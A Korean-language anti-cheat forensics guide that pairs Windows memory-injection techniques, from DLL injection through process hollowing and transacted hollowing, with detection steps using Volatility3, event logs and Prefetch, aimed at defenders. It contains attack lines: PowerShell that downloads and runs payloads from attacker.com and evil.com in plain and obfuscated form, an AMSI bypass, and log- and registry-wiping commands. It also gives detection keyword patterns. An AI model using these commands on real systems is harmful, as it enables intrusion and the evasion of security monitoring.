← KAC 홈 툴 디렉토리 Memory 가이드 핵검사 가이드
~/memory-injection / 공격 기법 & 탐지 방법
Defensive Anti-Cheat
Memory Injection Guide

공격 기법 완전 분석
& 탐지 방법 가이드

Memory Injection은 악성 코드를 정상 프로세스의 메모리에 삽입해 실행하는 기법입니다. 디스크에 파일을 남기지 않기 때문에 .exe/.dll 파일 기반의 핵검사 방식으로는 탐지가 어렵습니다. 각 기법은 ⚔ 공격 기법🔍 탐지 방법으로 명확히 구분됩니다.

💡 공격 기법을 이해하지 않으면 왜 그 흔적이 거기 남는지 모릅니다. 두 파트를 연결해서 이해하는 것이 핵심입니다.
작성일
2025.03.25
기법 수
17+
목적
Anti-Cheat
A
공통 구조 이해
모든 Memory Injection 기법은 같은 계열의 Windows API를 호출합니다. 기법마다 순서나 방식이 달라도 이 흐름에서 벗어나지 않습니다.
A1. 공통 Syscall 흐름
API 호출하는 일왜 탐지 포인트인가
NtOpenProcess타겟 프로세스 핸들 획득정상 프로그램이 타 프로세스 핸들을 요청하는 경우는 드묾
NtAllocateVirtualMemory타겟 프로세스에 메모리 할당PAGE_EXECUTE_READWRITE 플래그가 핵심 지표
NtWriteVirtualMemory할당한 메모리에 코드 삽입타 프로세스 메모리 쓰기는 인젝션의 직접 증거
NtCreateThreadEx / QueueUserAPC삽입된 코드 실행타 프로세스에 스레드 생성 or APC 등록
A2. PAGE_EXECUTE_READWRITE — 핵심 플래그
⚠️
메모리 영역에 읽기(R) + 쓰기(W) + 실행(X) 권한을 동시에 부여하는 플래그입니다. 정상 프로그램은 거의 사용하지 않습니다. 이 플래그를 가진 메모리 영역 = 인젝션된 코드가 존재할 가능성이 매우 높습니다.
volatility3
volatility3 -f mem.dmp windows.malfind   # RWX 영역 + MZ 헤더 자동 탐지
A3. 기법별 개요 비교
기법파일 흔적새 스레드탐지 난이도핵심 특징
DLL Injection있음있음⭐⭐가장 기본. .dll 파일이 디스크에 남음.
Reflective DLL없음있음⭐⭐⭐⭐디스크 없이 메모리에서만 DLL 로드.
PE Injection없음있음⭐⭐⭐⭐타 프로세스 메모리에 PE 헤더째 삽입.
Process Hollowing없음없음⭐⭐⭐⭐정상 프로세스 내용물 완전 교체.
APC Injection없음없음⭐⭐⭐⭐APC 큐에 악성 함수 등록.
Early Bird APC없음없음⭐⭐⭐⭐⭐AV 훅 설치 전에 실행 완료.
Thread Hijacking없음없음⭐⭐⭐⭐실행 중 스레드 RIP 강제 변조.
Process Doppelgänging없음없음⭐⭐⭐⭐⭐NTFS 트랜잭션 악용.
Transacted Hollowing없음없음⭐⭐⭐⭐⭐Hollowing + Doppelgänging 결합.
B
DLL Injection
가장 오래되고 기본적인 인젝션 기법. 악성 .dll 파일을 타겟 프로세스에 강제로 로드시킵니다. 파일이 디스크에 남기 때문에 탐지는 비교적 쉽습니다.
공격 기법 어떻게 동작하는가
🎯목표: 타겟 프로세스(예: minecraft.exe)가 악성 .dll 파일을 로드하도록 강제합니다.
  • 1
    OpenProcess(PROCESS_ALL_ACCESS) → 타겟 프로세스 핸들 획득
  • 2
    VirtualAllocEx → 타겟 프로세스 메모리에 .dll 경로 문자열 저장 공간 할당
  • 3
    WriteProcessMemory → 할당한 공간에 악성 .dll 파일 경로 문자열 삽입
  • 4
    GetProcAddress(LoadLibraryA) → LoadLibrary 함수 주소 획득
  • 5
    CreateRemoteThread → 타겟 프로세스에서 LoadLibraryA(악성.dll) 실행
📌핵심 포인트: 악성 .dll 파일이 반드시 디스크에 존재해야 합니다. 이것이 탐지의 가장 큰 약점입니다.
🔍 탐지 방법 어떻게 잡는가
  • USN Journal → .dll 파일 생성/삭제 기록 확인. Echo Journal에서 .dll 확장자 검색.
  • BAM 로그 → 인젝터 .exe 파일의 실행 기록 및 타임라인 확인.
  • Prefetch → 인젝터 .exe 실행 기록. WinPrefetchView로 연관 파일(.dll 포함) 확인.
  • Everything + RedLotus Signature → NotSigned .dll 파일 탐지.
  • System Informer → 프로세스의 Modules 탭에서 비정상 경로(.dll) 확인.
volatility3
volatility3 -f mem.dmp windows.dlllist --pid [PID]   # 로드된 DLL 목록 + 경로
경로가 없거나 비정상 경로(Temp, AppData 등)의 DLL이 있으면 즉시 의심.
C
Reflective DLL Injection
일반 DLL Injection의 핵심 약점(디스크에 파일이 남는다)을 해결한 발전형 기법. .dll 파일을 디스크에 쓰지 않고 메모리에서 직접 로드합니다.
공격 기법어떻게 동작하는가
🎯목표: 디스크에 .dll 파일을 전혀 쓰지 않고 메모리에서 직접 DLL을 로드합니다.
  • 1
    공격자가 ReflectiveLoader 함수가 포함된 특수 제작 .dll을 준비
  • 2
    VirtualAllocEx → 타겟 프로세스 메모리에 충분한 공간 할당 (RWX)
  • 3
    WriteProcessMemory → .dll 파일 내용 전체를 할당한 메모리에 직접 복사
  • 4
    CreateRemoteThread → ReflectiveLoader 함수 주소부터 실행 시작
  • 5
    ReflectiveLoader가 스스로 메모리에서 DLL을 파싱하고 재배치(relocation) 처리
  • 6
    DllMain 호출 → 악성 코드 실행. 디스크에는 아무 파일도 없음.
📌LoadLibrary를 호출하지 않음 → Windows가 DLL 로드를 인지하지 못함 → 프로세스의 모듈 목록에도 나타나지 않음.
🔍탐지 방법어떻게 잡는가
  • Volatility3 malfind → PAGE_EXECUTE_READWRITE 메모리 + MZ(4D 5A) 헤더 탐지.
  • Volatility3 dlllist → 경로가 없는(N/A) DLL이 있으면 Reflective DLL 강력 의심.
  • System Informer → 해당 프로세스의 Memory 탭 → MZ 헤더 Uncommitted 영역 확인.
  • BAM/Prefetch → 인젝터 로더 프로그램의 실행 기록 확인.
volatility3
volatility3 -f mem.dmp windows.malfind
volatility3 -f mem.dmp windows.dlllist --pid [PID]
⚠️디스크에 파일이 없으므로 USN Journal에서 .dll 생성 기록이 없는 것이 오히려 이 기법의 특징. 메모리 덤프 없이는 탐지가 매우 어려움.
D
Process Hollowing
정상 프로세스를 "껍데기"로 만들고 내부 코드를 악성 코드로 완전히 교체하는 기법. "RunPE"라고도 불립니다. 프로세스 이름만으로는 탐지 불가.
공격 기법어떻게 동작하는가
🎯목표: svchost.exe 같은 정상 프로세스가 악성 코드를 실행하도록 완전히 교체합니다.
  • 1
    CreateProcess(CREATE_SUSPENDED) → 정상 프로세스를 일시 정지 상태로 생성
  • 2
    NtQueryProcessInformation → 프로세스 베이스 주소 획득
  • 3
    NtUnmapViewOfSection → 원본 실행 이미지를 메모리에서 제거 (껍데기만 남김)
  • 4
    VirtualAllocEx → 악성 PE 이미지 크기만큼 메모리 새로 할당
  • 5
    WriteProcessMemory → 악성 PE 헤더 + 섹션(.text, .data 등) 삽입
  • 6
    SetThreadContext → 메인 스레드의 RCX(진입점 레지스터)를 악성 코드 EntryPoint로 변경
  • 7
    ResumeThread → 실행 재개. 이제 svchost.exe는 악성 코드를 실행하는 프로세스.
🔍탐지 방법어떻게 잡는가
  • Volatility3 malfind → 내부 코드가 교체된 경우 MZ 헤더가 메모리에서 발견됨.
  • Volatility3 pslist + cmdline → 프로세스 ImageFileName과 실제 CommandLine 불일치 확인.
  • System Informer → 프로세스 이미지 vs 실제 메모리 내용 비교 → Properties → Image 탭.
  • pstree → 비정상 부모-자식 관계. (예: minecraft.exe → svchost.exe)
  • 이벤트 4688 → CREATE_SUSPENDED 생성 후 곧바로 ResumeThread 패턴 확인.
volatility3
volatility3 -f mem.dmp windows.malfind
volatility3 -f mem.dmp windows.cmdline
volatility3 -f mem.dmp windows.pstree
발견 핵심: 정상 경로에서 실행된 프로세스인데 메모리 내 PE 헤더 내용이 원본 파일과 다름.
E
PE Injection
이미 실행 중인 정상 프로세스의 메모리에 새로운 PE 이미지를 직접 삽입합니다. 원본 프로세스를 비우지 않고 공존하여 두 개의 실행 흐름이 동시에 존재합니다.
공격 기법어떻게 동작하는가
🎯목표: 이미 실행 중인 정상 프로세스(explorer.exe 등)에 PE 이미지 전체를 삽입하고 실행합니다.
  • 1
    OpenProcess → 이미 실행 중인 타겟 프로세스 핸들 획득
  • 2
    VirtualAllocEx → 악성 PE 이미지 크기만큼 RWX 메모리 할당
  • 3
    WriteProcessMemory → PE 헤더 + 섹션 전체 복사
  • 4
    삽입된 PE의 재배치(relocation) 처리 및 Import 테이블 수정
  • 5
    CreateRemoteThread → 삽입된 PE의 EntryPoint에서 새 스레드 시작
🔍탐지 방법어떻게 잡는가
  • Volatility3 malfind → RWX 영역에서 MZ 헤더(PE 시그니처) 탐지.
  • PE-bear / PEStudio → 프로세스 메모리 덤프 후 삽입된 PE를 파일로 추출하여 분석.
  • System Informer → Memory 탭 → MZ 헤더로 시작하는 Private 영역 확인.
  • 이벤트 4688 → CreateRemoteThread 호출 패턴 (프로세스 생성 없이 원격 스레드만 생성).
F
APC Injection
APC(Asynchronous Procedure Call) 메커니즘을 악용. 스레드가 Alertable 상태가 될 때 APC 큐에 등록된 악성 함수를 자동 실행. CreateRemoteThread 없이 동작합니다.
공격 기법어떻게 동작하는가
🎯목표: 타겟 스레드가 Alertable 상태가 될 때 자동으로 악성 코드가 실행되도록 설정합니다.
  • 1
    OpenProcess + OpenThread → 타겟 프로세스와 스레드 핸들 획득
  • 2
    VirtualAllocEx → 타겟 프로세스에 RWX 메모리 할당
  • 3
    WriteProcessMemory → 악성 shellcode/코드 삽입
  • 4
    QueueUserAPC(악성함수주소, 타겟스레드) → APC 큐에 악성 함수 등록
  • 5
    타겟 스레드가 SleepEx(ms, TRUE) 같은 Alertable 함수를 호출하는 순간 자동 실행
📌Alertable 상태 함수: SleepEx, WaitForSingleObjectEx, WaitForMultipleObjectsEx, MsgWaitForMultipleObjectsEx, SignalObjectAndWait
🔍탐지 방법어떻게 잡는가
  • Volatility3 malfind → RWX 영역 탐지.
  • System Informer → 프로세스의 스레드 목록에서 스레드 시작 주소가 알 수 없는 메모리 영역인지 확인.
  • 이벤트 4688 → 새 스레드 없이 타 프로세스 메모리에 쓰기가 발생한 흔적 확인.
⚠️APC Injection은 새 스레드가 생성되지 않아 탐지가 상대적으로 어려움. 메모리 덤프에서 RWX 영역이 핵심 탐지 포인트.
G
Early Bird APC Injection
APC Injection의 발전형. 프로세스 초기화 단계에서 APC를 등록하여 AV/EDR 훅이 설치되기 전에 악성 코드 실행을 완료합니다.
공격 기법어떻게 동작하는가
🎯목표: AV/EDR 훅이 프로세스를 감시하기 시작하기 전에 악성 코드 실행을 완료합니다.
  • 1
    CreateProcess(CREATE_SUSPENDED) → 새 프로세스를 일시 정지 상태로 생성
  • 2
    프로세스는 일시 정지 상태. AV/EDR은 아직 이 프로세스에 훅을 설치하지 않은 상태.
  • 3
    VirtualAllocEx + WriteProcessMemory → 악성 코드를 RWX 메모리에 삽입
  • 4
    QueueUserAPC → 메인 스레드의 APC 큐에 악성 함수 등록
  • 5
    ResumeThread → 프로세스 실행 재개
  • 6
    프로세스 초기화(ntdll.dll LdrInitializeThunk) 과정에서 APC가 자동 실행
  • 7
    AV/EDR 훅 설치 전에 악성 코드가 이미 실행 완료됨
🔍탐지 방법어떻게 잡는가
  • 이벤트 4688 → CREATE_SUSPENDED로 생성된 프로세스 + ResumeThread 패턴 탐지.
  • Volatility3 malfind → 프로세스 내 RWX 영역과 삽입된 코드 탐지.
  • Volatility3 pstree → 비정상 부모-자식 관계 확인 (예: 게임 → 새로 생성된 정상 프로세스).
  • Prefetch → 비정상적으로 짧게 실행되고 종료된 .exe 기록 확인.
⚠️Early Bird의 경우 실행이 워낙 빠르게 완료되므로, Prefetch에 실행 흔적이 남지만 메모리에는 흔적이 남지 않을 수 있음. 이벤트 로그 타임라인 분석이 중요.
H
Thread Hijacking
실행 중인 스레드의 RIP(명령 포인터)를 강제로 악성 코드 주소로 변경. 새 스레드를 전혀 생성하지 않아 CreateRemoteThread 기반 탐지를 완전히 우회합니다.
공격 기법어떻게 동작하는가
  • 1
    OpenProcess + OpenThread → 타겟 프로세스/스레드 핸들 획득
  • 2
    SuspendThread → 타겟 스레드 강제 일시 정지
  • 3
    GetThreadContext → 현재 스레드 레지스터 상태(RIP 포함) 전체 저장
  • 4
    VirtualAllocEx + WriteProcessMemory → 악성 코드 + 복귀 코드 삽입
  • 5
    SetThreadContext(RIP = 악성코드주소) → 다음 실행 위치를 악성 코드로 변조
  • 6
    ResumeThread → 스레드 재개. 악성 코드부터 실행.
  • 7
    (정교한 버전) 악성 코드 실행 완료 후 저장해둔 원래 RIP로 복귀 + 모든 레지스터 복원됨
📌정교한 버전: 실행 후 원래 코드로 완벽 복귀하면, 피해 프로세스는 아무것도 모른 채 정상 동작을 계속. 포렌식적으로 가장 어려운 유형.
🔍탐지 방법어떻게 잡는가
  • Volatility3 malfind → RWX 메모리 + MZ 또는 shellcode 탐지.
  • System Informer → 스레드 시작 주소(Start Address)가 알 수 없는 메모리 영역이면 의심.
  • Volatility3 threads → 비정상 스레드 시작 주소 확인.
  • 이벤트 4688 → SuspendThread + SetThreadContext + ResumeThread 시퀀스 탐지.
volatility3
volatility3 -f mem.dmp windows.threads --pid [PID]
I
Process Doppelgänging
NTFS 트랜잭션(TxF) 기능을 악용하는 고급 기법. 트랜잭션 롤백으로 파일 시스템에 흔적을 남기지 않습니다. 2017년 Black Hat에서 최초 발표.
공격 기법어떻게 동작하는가
  • 1
    CreateTransaction → NTFS 트랜잭션 시작
  • 2
    CreateFileTransacted → 트랜잭션 내에서 임시 파일 생성
  • 3
    WriteFile → 악성 PE 코드를 임시 파일에 씀 (트랜잭션 내부 → 디스크에 아직 안 쓰임)
  • 4
    NtCreateSection(임시파일) → 이 파일로부터 메모리 섹션 생성
  • 5
    RollbackTransaction → 트랜잭션 롤백. 임시 파일이 디스크에서 완전히 사라짐.
  • 6
    NtCreateProcessEx(섹션) → 방금 만든 섹션으로부터 프로세스 생성
  • 7
    프로세스가 실행되지만, 원본 파일은 디스크에 존재하지 않음
🔍탐지 방법어떻게 잡는가
  • Volatility3 handles → 섹션 기반 실행이므로 handles 분석 병행 필요.
  • Volatility3 dlllist → 프로세스의 이미지 경로가 존재하지 않는 파일을 가리킴.
  • 이벤트 4688 → ImageFileName이 존재하지 않는 경로를 가리키면 의심.
탐지 핵심: 프로세스의 이미지 경로가 디스크에 실제로 존재하지 않는 파일을 가리킬 때. 정상 프로세스에서는 이런 경우가 없음.
J
Transacted Hollowing
Process Hollowing + Process Doppelgänging 결합. 현재 알려진 Memory Injection 기법 중 가장 탐지하기 어려운 유형입니다.
공격 기법어떻게 동작하는가
  • 1
    Doppelgänging 방식으로 트랜잭션 내에서 정상 실행 파일 기반 섹션 생성
  • 2
    RollbackTransaction → 트랜잭션 롤백. 파일 흔적 제거.
  • 3
    정상 섹션으로 SUSPENDED 프로세스 생성 (겉모습은 정상 프로세스)
  • 4
    Hollowing 방식으로 프로세스 메모리 내용을 악성 PE로 교체
  • 5
    SetThreadContext + ResumeThread → 악성 코드 실행 시작
📌프로세스 생성 시점의 이미지는 정상(Doppelgänging 탐지 우회), 실제 메모리 내용은 악성(런타임에 교체). 두 가지 탐지 경로를 모두 차단.
🔍탐지 방법어떻게 잡는가
  • Volatility3 malfind → 메모리 교체가 이루어지므로 RWX 영역과 MZ 헤더 탐지 가능.
  • 프로세스 이미지 경로와 실제 메모리 내용의 PE 헤더 불일치 확인.
  • Volatility3 handles → 트랜잭션 관련 핸들 흔적.
⚠️현재 알려진 기법 중 가장 탐지가 어려움. 실시간 메모리 분석(Volatility3 malfind)이 사실상 유일한 확실한 탐지 수단.
K
Shellcode Injection
위치 독립적(Position-Independent) 원시 기계어 코드를 직접 삽입합니다. PE 헤더 구조 없이 MZ 헤더 기반 탐지를 우회할 수 있습니다.
공격 기법어떻게 동작하는가
  • 1
    OpenProcess → 타겟 프로세스 핸들 획득
  • 2
    VirtualAllocEx(PAGE_EXECUTE_READWRITE) → 타겟 프로세스에 RWX 메모리 할당
  • 3
    WriteProcessMemory → shellcode 바이트 배열을 할당한 메모리에 직접 복사
  • 4
    실행 트리거 선택: CreateRemoteThread / Thread Hijacking / APC / 콜백 기반
📌엔트로피: Shellcode는 XOR 인코딩이나 암호화가 적용된 경우 높은 엔트로피 값(7.0 이상)을 가집니다. 이것이 탐지의 단서가 됩니다.
🔍탐지 방법어떻게 잡는가
  • Volatility3 vadinfo → VAD 분석. 파일 백업 없는(Private) 실행 권한 메모리 영역 전체 식별.
  • System Informer → Memory 탭 → Private + Execute 권한 조합 영역 → hex viewer로 내용 확인. 높은 엔트로피 or 반복 XOR 패턴이 보이면 shellcode.
  • YARA 룰 스캔 → 알려진 shellcode 패턴(반복 XOR, GetPC 패턴, 특정 syscall 시퀀스) 탐지.
volatility3
volatility3 -f mem.dmp windows.vadinfo --pid [PID]
volatility3 -f mem.dmp windows.yarascan --yara-rules shellcode.yar
핵심: PE 헤더가 없으므로 MZ 기반 탐지만으로는 놓칠 수 있음. vadinfo로 RWX Private 영역을 전수 확인하는 것이 필수.
L
COM Hijacking
COM 객체의 레지스트리 항목을 변조하여 정상 COM 객체 대신 악성 DLL이 로드되도록 합니다. HKCU 하이브를 이용하면 관리자 권한 없이 영속성 확보가 가능합니다.
공격 기법어떻게 동작하는가
  • 1
    자주 사용되는 COM 객체의 CLSID 식별 → explorer.exe, 시스템 서비스 등이 자동 로드하는 대상
  • 2
    레지스트리 InprocServer32 키 변조:
    HKEY_CLASSES_ROOT\CLSID\{CLSID}\InprocServer32
  • 3
    또는 HKCU 하이브에 동일 키 생성 (관리자 권한 불필요):
    HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32
  • 4
    이후 COM 객체를 사용하는 정상 프로세스가 실행될 때 악성 DLL이 해당 프로세스 메모리에 자동 로드됨
🔍탐지 방법어떻게 잡는가
  • Autoruns64 → COM/ActiveX 탭에서 서명 없는(빨간색/노란색) CLSID 등록 항목 확인.
  • 레지스트리 확인 → HKCU\Software\Classes\CLSID\ 하위에 비정상적인 항목이 있으면 즉시 의심.
  • RegistryExplorer → 삭제된 CLSID 항목 복구 분석. 핵검사 전 레지스트리 값을 지운 경우 흔적 확인.
  • USN Journal → 악성 DLL 파일 생성 기록 확인.
M
DLL Hijacking & DLL Proxying
Windows의 DLL 검색 순서(Search Order)를 악용해 정상 프로그램이 스스로 악성 DLL을 로드하도록 유도합니다. DLL Proxying은 정상 기능을 포워딩하여 오류 없이 동작합니다.
DLL Hijacking — 공격 기법검색 순서 악용
📌Windows DLL 검색 순서: ① 실행 파일과 같은 폴더 → ② System32/SysWOW64 → ③ Windows 폴더 → ④ 현재 작업 디렉토리 → ⑤ PATH 경로들
  • 1
    타겟 프로그램이 로드하는 DLL 이름 파악 → 예: version.dll, winmm.dll
  • 2
    해당 DLL 이름과 동일한 악성 DLL 제작
  • 3
    프로그램 실행 폴더(검색 1순위)에 악성 DLL 배치
  • 4
    프로그램 실행 시 System32의 정상 DLL 대신 악성 DLL이 먼저 발견되어 로드됨
DLL Proxying — 공격 기법Export Forwarding으로 오류 없이 동작
  • 1
    정상 DLL을 다른 이름으로 복사 → 예: version_orig.dll
  • 2
    악성 DLL을 원래 이름으로 배치 → version.dll
  • 3
    악성 DLL 내부에 "Export Forwarding" 설정 → 모든 정상 함수 호출을 version_orig.dll로 전달
  • 4
    프로그램은 정상 동작 (실제 함수는 version_orig.dll에서 처리)
  • 5
    악성 DLL은 DllMain에서 추가 악성 코드 실행
🔍탐지 방법어떻게 잡는가
  • System Informer → Modules 탭 → 게임 폴더에 있는 .dll 중 서명 없는 파일 확인.
  • Everything + NotSigned → 게임 실행 폴더 내 서명 없는 .dll 파일 발견.
  • USN Journal → 게임 폴더에 새로 생성된 .dll 파일 기록.
  • PE-bear / PEStudio → 의심 DLL 분석 → Export 포워딩 테이블, Import 함수, 섹션 확인.
N
In-Memory .NET Assembly Loading
Assembly.Load()로 .NET 바이너리를 디스크에 전혀 저장하지 않고 메모리에서 직접 로드·실행합니다. PowerShell이라는 신뢰된 바이너리가 실행하므로 화이트리스트 우회.
공격 기법어떻게 동작하는가
PowerShell
# 1. 원격에서 .NET 어셈블리를 바이트 배열로 다운로드
$bytes = (New-Object Net.WebClient).DownloadData("https://attacker.com/payload.dll")

# 2. Assembly.Load()로 바이트 배열을 메모리에 직접 로드
[System.Reflection.Assembly]::Load($bytes)

# 3. Reflection으로 원하는 메서드 호출 및 실행
$asm.GetType("Namespace.Class").GetMethod("Execute").Invoke($null, $null)
🔍탐지 방법어떻게 잡는가
  • 이벤트 4104 (ScriptBlock 로깅) → Assembly::Load 호출 패턴 탐지.
  • PowerShell History 파일 → DownloadData + Assembly::Load 조합 기록.
    %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
  • Volatility3 ldrmodules → 표준 모듈 열거에서 숨겨진 .NET 어셈블리 탐지.
  • AMSI 이벤트 갑자기 중단 → Assembly.Load 실행 전 AMSI 패치 시도 가능성.
O
고급 탐지 기법 (심화)
Memory Injection 전반을 포괄적으로 탐지하는 심화 방법론입니다.
O1. Kernel Live Dump + bstrings.exe — 최고 탐지 방법
🏆인젝터 프로세스가 종료된 이후에도 커널 덤프에는 흔적이 잔존합니다. Memory Injection 탐지의 가장 강력한 방법입니다.

덤프 위치: %LOCALAPPDATA%\Microsoft\Windows\TaskManager\LiveKernelDumps\

bstrings.exe
bstrings.exe -f "C:\Path\LiveKernelDump.DMP" ^
--lr "(?i)(?:\b(?:powershell|cmd|wscript|cscript)\b|iwr|iex|invoke|encodedcommand|decoded|base64|github|pastebin|.exe|.bat|.vbs)" ^
-o ".\FilelessExecutionEvidence.txt"
패턴의미
powershell, cmd, wscript, cscript스크립트 인터프리터 실행 흔적
iwr, iex, invoke원격 다운로드/실행 명령어 (PowerShell)
encodedcommand, decoded, base64인코딩된 페이로드 흔적
github, pastebin페이로드 호스팅에 자주 사용되는 사이트
.exe, .bat, .vbs로더가 실행한 파일 경로 흔적
O2. Hayabusa — 이벤트 로그 분석

Windows 이벤트 로그(.evtx)를 Sigma 룰 기반으로 분석하는 오픈소스 도구. 분석 대상: C:\Windows\System32\winevt\Logs

키워드 / 패턴의미
iwr, iex, invoke-expressionPowerShell 원격 실행/다운로드
encodedcommand, encode, decoded인코딩 명령 사용
github, pastebin페이로드 원격 호스팅
-nop, -w hiddenPowerShell 창 숨김 및 프로파일 제거
WmiPrvSE.exeWMI 기반 원격 실행
mshta.exe, regsvr32.exe + URLLOLBAS 기반 원격 실행
💡이벤트 로그가 삭제된 경우 → wevtutil cl Security 같은 이벤트 로그 삭제 명령 자체가 이벤트 1102로 기록됨.
O3. YARA 룰 스캔
volatility3 / velociraptor
# Volatility3 — 메모리 덤프 스캔
volatility3 -f mem.dmp windows.yarascan --yara-rules shellcode.yar

# Velociraptor — 라이브 프로세스 직접 스캔 (덤프 불필요)
SELECT * FROM yara(rules=YaraRules, accessor="process")
O4. Volatility3 추가 플러그인
플러그인용도언제 사용하는가
windows.vadinfoVAD 트리 분석. 메모리 영역별 권한(RWX 등)과 타입 확인.Shellcode처럼 MZ 헤더 없는 RWX 영역 탐지
windows.ldrmodulesPEB의 3가지 모듈 리스트 교차 비교. 숨겨진 DLL 탐지.Reflective DLL이 모듈 목록에서 숨겨진 경우
windows.memdump특정 프로세스 메모리 영역을 파일로 추출.malfind 결과를 오프라인 역분석할 때
windows.hollowfindProcess Hollowing 전용. PEB과 실제 메모리 내용 불일치 탐지.Hollowing 전용 플러그인
windows.psxview여러 방법으로 프로세스 목록 교차 확인. 숨겨진 프로세스 탐지.DKOM 등 프로세스 은폐 확인
O5. Process Hollowing — Prefetch 이상 현상
🔎
Hollowing 발생 시 WinPrefetchView에서 "Executable Path" 필드가 비어있거나 누락됩니다. 원본 이미지가 언매핑되어 Prefetch가 실행 경로를 제대로 기록하지 못하기 때문입니다.
P
스크립트 난독화 — 실제 패턴
탐지 도구의 문자열 탐지와 수동 분석을 동시에 무력화합니다. 이 패턴을 모르면 PS History나 이벤트 로그에서 발견해도 무엇인지 알아볼 수 없습니다.
P1. Base64 인코딩가장 흔한 난독화
PowerShell — 원본
IEX (New-Object Net.WebClient).DownloadString("http://evil.com/hack.ps1")
PowerShell — 인코딩 후 (PS History에서 발견되는 형태)
powershell -NoP -NonI -W Hidden -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBj...
PowerShell — 디코딩 (분석자용)
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("SQBFAFgA…"))
P2. 문자열 치환 & 연결탐지 우회율이 더 높음
방법 1 — 문자열 연결
$a = "Inv"; $b = "oke-Exp"; $c = "ression"
& ($a+$b+$c) (New-Object Net.WebClient).DownloadString("http://evil.com/c.ps1")
방법 2 — 역방향 & 치환
$cmd = "noisserpxE-ekovnI"[-1..-999] -join ""   # "Invoke-Expression"을 뒤집어서 저장
& $cmd (wget "http://evil.com/p.ps1" -UseB)
P3. AMSI 우회 패턴AV 검사 인터페이스 무력화
PowerShell — AMSI 패치
# amsi.dll의 AmsiScanBuffer 함수를 ret 명령으로 패치
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils")
.GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)
⚠️이 코드 실행 후 AMSI가 비활성화됨 → 이후 모든 PS 명령이 AV 검사를 받지 않음.
🔍탐지 방법 — 난독화 전반어떻게 잡는가
  • PS History-Enc 또는 -EncodedCommand 뒤에 긴 Base64 문자열 발견 시 즉시 디코딩.
  • 이벤트 4104 ScriptBlock 로깅 → PS 엔진은 최종적으로 평문 코드를 실행해야 하므로 난독화 해제된 원본 명령이 기록됨.
  • Kernel Live Dump + bstrings.exe → 문자열이 분산되어 있어도 커널 버퍼에서 원본 명령 흔적 발견 가능.
  • Hayabusa → AMSI bypass 관련 Sigma 룰 자동 탐지. AMSI 이벤트 공백 + AmsiUtils 패턴.
Q
WMI 기반 실행 & 영속성
WMI 이벤트 구독을 이용하면 Run 키나 예약 작업 없이 조건 기반으로 코드를 자동 실행할 수 있습니다. Autoruns64에서 잡히지 않는 영속성 방법입니다.
공격 기법WMI 프로세스 실행 & 영속성
PowerShell — WMI 프로세스 실행
$wmi = [wmiclass]"Win32_Process"
$wmi.Create("powershell -Enc [Base64payload]")
# 프로세스 트리에서 부모가 WmiPrvSE.exe로 나타남

WMI 영속성 구성 요소 3가지:

  • 1
    __EventFilter: 트리거 조건 (예: 부팅 후 60초)
  • 2
    __EventConsumer: 실행할 명령 (예: PowerShell 악성 스크립트)
  • 3
    __FilterToConsumerBinding: 필터-컨슈머 연결
🔍탐지 방법어떻게 잡는가
  • 이벤트 5861 → 새 WMI 영속성 등록 이벤트. 의심스러운 EventConsumer CommandLine 확인.
  • Autoruns64 WMI 탭 → 등록된 WMI 구독 항목 확인 (서명 없는 항목 즉시 의심).
PowerShell — WMI 구독 조회
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class __EventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
⚠️WMI 구독은 레지스트리나 파일 시스템이 아닌 WMI 저장소(C:\Windows\System32\wbem\Repository)에 저장. USN Journal에는 기록되지 않음.
R
PowerShell Remoting — 핵검사 중 외부 개입
핵검사 중 외부 공모자가 원격으로 연결해 증거를 실시간 삭제하는 시나리오에서 사용 가능합니다. 일반 PC에서 WinRM이 활성화되어 있을 이유가 없습니다.
공격 기법핵검사 중 외부 공모자 개입 시나리오
PowerShell
# 1. 피검사자가 WinRM을 사전 활성화
Enable-PSRemoting -Force

# 2. 핵검사 진행 중 외부 공모자가 원격 연결
Enter-PSSession -ComputerName [IP] -Credential $cred

# 3. 증거 삭제 실행
Remove-Item "C:\Users\$env:USERNAME\...\hack.jar" -Force
wevtutil cl Security    # 이벤트 로그 삭제
reg delete HKCU...\BAM /f   # BAM 레지스트리 삭제
🔍탐지 방법어떻게 잡는가
CMD
# WinRM 서비스 상태 확인
sc query WinRM

# 열린 네트워크 연결 확인 (WinRM 기본 포트)
netstat -ano | findstr ":5985"   # WinRM HTTP
netstat -ano | findstr ":5986"   # WinRM HTTPS
⚠️일반 개인 사용자 PC에서 WinRM이 활성화되어 있을 이유가 없음. Running 상태 자체가 즉시 의심 사유.
S
전체 탐지 요약
모든 기법의 핵심 탐지 포인트와 보조 탐지 포인트를 한눈에 정리합니다.
기법가장 강력한 탐지 포인트보조 탐지 포인트
DLL InjectionUSN Journal — .dll 생성/삭제 기록BAM, Prefetch, Everything NotSigned
Reflective DLLVolatility malfind — 경로 없는 DLLSystem Informer Memory 탭, ldrmodules
Process Hollowingpstree 비정상 부모-자식 + hollowfindWinPrefetchView 실행경로 공백
PE Injectionmalfind — RWX + MZ 헤더System Informer Memory 탭
APC Injectionmalfind — RWX 영역스레드 시작 주소 확인
Early Bird APC이벤트 4688 — CREATE_SUSPENDED 패턴malfind, pstree
Thread Hijacking스레드 시작 주소 비정상 + malfind이벤트 4688
Process Doppelgänging이미지 경로 → 존재하지 않는 파일handles 분석
Transacted Hollowingmalfind + 이미지 내용 불일치handles 분석
Shellcode Injectionvadinfo — RWX Private 영역 + YARASystem Informer hex viewer
COM HijackingAutoruns64 COM 탭 — 서명없는 CLSIDHKCU 레지스트리 확인
DLL Hijacking게임 폴더 내 NotSigned .dllSystem Informer Modules, USN Journal
DLL ProxyingNotSigned .dll + 크기 이상PE-bear Export 포워딩 분석
.NET Assembly Load이벤트 4104 — Assembly::Load 패턴Volatility ldrmodules
Script 난독화 (Base64)PS History -EncodedCommand 디코딩이벤트 4104 ScriptBlock 로그
AMSI 우회AMSI 이벤트 공백 + 4104 AmsiUtils 패턴Hayabusa 자동 탐지
WMI 영속성이벤트 5861 WMI 구독 등록Autoruns64 WMI 탭
PS Remoting 개입WinRM 서비스 상태 + 포트 5985/5986 연결PS 이벤트 원격 세션 기록
// 마치며
